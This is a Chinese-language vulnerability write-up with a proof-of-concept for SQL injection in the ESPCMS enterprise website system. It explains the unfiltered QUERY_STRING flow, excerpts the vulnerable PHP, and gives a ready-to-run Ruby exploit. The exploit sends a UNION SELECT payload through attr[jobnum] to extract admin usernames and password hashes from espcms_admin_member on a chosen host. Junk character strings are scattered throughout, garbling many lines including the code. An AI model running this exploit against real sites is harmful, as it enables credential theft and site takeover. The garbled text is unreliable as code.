0×0 漏洞概述0×1 漏洞细节% F! y9 G2 _) ]% `4 j- r% ^6 ]
0×2 PoC
% [: [8 B& C( n& W$ o
. u* n* ^2 b0 L- `7 k, A+ N5 n' G1 v
" @# Q3 P3 [& q9 M3 K7 n' F: Z& h0×0 漏洞概述
+ C) T0 u7 ]2 w8 Y& m' _8 b0 R2 ?
j3 C- |7 C7 {+ q. | V. I9 Q易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
2 t2 C8 K$ f2 ?. \7 a4 k# S其在处理传入的参数时考虑不严谨导致SQL注入发生
) r: {# l s( F1 E% v
+ u% J5 X; x. @& `8 K3 z- h6 y7 I2 [" ~: S* u2 W/ U" O: F9 A }+ w
0×1 漏洞细节/ g6 q; n) i1 m2 v: R6 D, @6 e) i! H
" o( r. Q6 Y* t0 V; x" A
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) N/ `7 }: g7 p* G' N9 q正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
& U U Q9 ^' E% G- o而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。7 N, a4 _8 a1 ^
2 ~7 y" f5 H* R: r, j在/interface/3gwap_search.php文件的in_result函数中:! k. b/ Y q' s; j
% @8 y: H' ^- b; R- v
) T- P4 h7 V8 @" b
+ X4 G! L7 ^1 I: x* { function in_result() {! r$ d: r/ d3 K- p
... ... ... ... ... ... ... ... ...
! \8 F! I6 ]) F! [; L $urlcode = $_SERVER[ 'QUERY_STRING '];6 k4 t I7 g- r0 _; K: Q& N+ h, l
parse_str(html_entity_decode($urlcode), $output);. G. ?, {' m9 Y4 |/ f8 O9 i# Z
9 n( t- C' p' C7 a
... ... ... ... ... ... ... ... ...' H4 O% s% P3 g# p4 r
if (is_array($output['attr' ]) && count($output['attr']) > 0) {: e D3 o; ]( z& K( ]
0 q7 E$ {1 z" d4 K6 |. S) I/ h
$db_table = db_prefix . 'model_att';
% x6 a3 G: U& a2 w9 P+ I
/ q8 I& v( v# m/ _. ^: S* f foreach ($output['attr' ] as $key => $value) {
6 m' W7 F8 A& A3 {& w& ]) P if ($value) {
4 J) B8 c( k: e2 N! y% B
; I! x2 [0 w9 b: u2 p $key = addslashes($key); I, Z4 ^3 l: |1 v4 M9 x
$key = $this-> fun->inputcodetrim($key);/ U5 g9 O2 N- l' z( C" u2 x
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
* J/ W! a/ N: P( g+ a/ ^ $countnum = $this->db_numrows($db_table, $db_att_where);( F" s' M' g: @& B2 X+ X: d4 y
if ($countnum > 0) {! g3 e. Y& E" V, C% x7 m4 H
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;+ v8 y4 K( ~" F$ F4 P9 {: W0 H
}
' @8 H# K; t- t; ^2 B }
8 i! U! k) [7 w o/ N }
/ Y7 E2 S0 }& A" { }
1 } J+ ~- U1 x) o9 F" i% y if (!empty ($keyword) && empty($keyname)) {4 d0 h+ V! H" a' r
$keyname = 'title';) Y- f+ R% o. C$ {% t
$db_where.= " AND a.title like '%$keyword%'" ;
2 L3 v- D; Y* n, i. E! o# K } elseif (!empty ($keyword) && !empty($keyname)) {9 T1 ^( z, e$ n* b. u0 L$ E t. V, R
$db_where.= " AND $keyname like '% $keyword%'";' k. ~( x, ]' K5 P
}
8 b. V/ h1 E3 k6 c$ i $pagemax = 15;# H0 h1 u9 t' y# O) J& C
. K5 d4 A) |8 y% k
$pagesylte = 1;+ {8 ~; m _6 Y8 p- \
0 [2 j: ?8 t& |" y0 N( M if ($countnum > 0) {4 T1 n5 g4 ^% T8 P! h% ~- |
0 ]% k# W/ `0 N$ b2 Q4 _ $numpage = ceil($countnum / $pagemax);7 B5 N) ^' ?1 L
} else {
- `/ h# `$ ^; Y, ?1 a$ A/ |) X $numpage = 1;) }; L# {, y: X& J( M9 k1 R
}6 h9 A! |) S# ^8 K
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
, X/ n% j( g4 j- Z7 P+ m. R8 H $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);6 I, d$ N! P7 y6 a- z; s7 x* f
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);0 |- ?! E4 f. x8 d& W5 N2 g
... ... ... ... ... ... ... ... ...
) D8 C: s7 k Z! Y0 g$ C: o/ C }
8 E( J+ E5 m% j
! F# n. w4 G g
, l |9 y( u' G; g0×2 PoC
0 g7 h$ w, w9 e% ^% \: P
: _3 ?/ Y0 y# p, G8 v6 h6 L# I9 v1 N8 [/ F1 [/ ~; m
$ G8 B2 M+ V! j1 A
require "net/http"7 o4 ?! u. t! I% E+ M
# Y# k" {7 J2 u2 A! y; i
def request(method, url)
: o8 l/ U$ g% r3 Y) h: h if method.eql?("get")& U+ l( n6 h9 y+ l4 V/ V
uri = URI.parse(url)
5 J I' `2 N7 d http = Net::HTTP.new(uri.host, uri.port)
2 n! t3 x6 D: B response = http.request(Net::HTTP::Get.new(uri.request_uri))8 G% o% }0 F+ h* @; I4 m$ B. B
return response
" ~. O, l; w- v2 T4 a! D0 _ end( M) N9 p+ R- s: f
end" f( @4 {& A3 f6 [: k/ \
# E: K1 W0 j; W ydoc =<<HERE
- U' `- F$ o) d9 Z3 i9 s t-------------------------------------------------------/ Z& P+ m) |# V; [6 V( f' W2 }* q. e
Espcms Injection Exploit, n$ \# x" o* J" D) a* | _# n5 \
Author:ztz& E+ u2 R( s8 Q" Q& K6 J
Blog:http://ztz.fuzzexp.org/
. k) q* D' j1 I# Q( ]-------------------------------------------------------
6 L. f+ m* S$ l; r# `+ E, V4 R3 s, R4 T& x
HERE
. K9 K$ _* C5 s7 u0 C; r- j1 c0 q# g1 R+ h2 p% T
usage =<<HERE
) G: N) e! |+ \) o, ?3 ^Usage: ruby #{$0} host port path
! v; p) D2 j- `2 i3 Pexample: ruby #{$0} www.target.com 80 /
& a4 a" j3 W" C/ [ x1 \2 m9 DHERE$ G h3 Y w* a" ?( e1 u
% z2 H8 D) \0 b6 @, oputs doc
% a5 i1 Q/ ~9 D: K# V/ g) Uif ARGV.length < 3* f9 ?" n! q, C |
puts usage1 {% k7 g6 [( t" m p
else+ ^ b: w& N7 \9 j/ L
$host = ARGV[0]& p; i: e6 y3 m/ b8 @; c! n; F
$port = ARGV[1]
2 V! {( Q5 u3 U4 Z' `+ A- ] $path = ARGV[2]+ w. s+ a+ a) M1 d+ m, X
# s" l. l& B" B8 h4 Q* ?& g6 m puts "send request..."
# y/ u2 l- M$ L2 w9 P$ | url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
+ O. D2 s; Y! q9 n& m9 A% Mattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13 L) R6 a6 O# K7 s4 y* @8 m
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
0 M7 \0 x4 s! j,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23": R+ C5 F1 F7 l( h. w
response = request("get", url)
5 a) b: P0 m9 S. U% D# G result = response.body.scan(/\w+&\w{32}/)
" [6 ~- u; q8 P5 _6 q puts result
* X2 r" J2 s3 x2 [, Nend
2 Y0 E$ {6 f5 t7 m3 S: [0 s/ X6 g; g( I* G4 R5 @4 ~" F h
|